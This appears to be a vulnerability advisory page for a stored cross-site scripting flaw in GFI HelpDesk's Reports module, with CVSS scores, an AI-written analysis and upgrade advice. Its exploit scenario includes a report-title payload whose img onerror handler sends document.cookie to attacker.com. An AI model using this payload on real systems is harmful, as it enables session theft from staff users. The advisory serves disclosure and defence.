EUVD-2026-23929
GHSA-27jw-fcpv-p46x
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
GFI HelpDesk before 4.99.10 contains a stored cross-site scripting vulnerability in the Reports module where the title parameter is passed directly to SWIFT_Report::Create() without HTML sanitization. Attackers can inject arbitrary JavaScript into the report title field when creating or editing a report, and the payload executes when staff members view and click the affected report link in the Manage Reports interface.
AnalysisAI
Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary JavaScript into report titles via the Reports module, with payload execution triggered when staff members access the report link in the Manage Reports interface. The vulnerability requires attacker authentication and user interaction (clicking the report link), limiting real-world impact to internal staff compromise scenarios rather than mass exploitation. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to possess valid HelpDesk user credentials with permission to create or edit reports in the Reports module - the vulnerability does not affect unauthenticated access. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents moderate real-world risk constrained by multiple exploitation factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A HelpDesk operator with legitimate user credentials creates a report with the title 'Monthly Sales Report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" />'. When the report is saved, the payload is stored in the database. … |
| Remediation | Upgrade GFI HelpDesk to version 4.99.10 or later, which includes HTML sanitization for the report title parameter. … Detailed patch versions, workarounds, and compensating controls in full report. |
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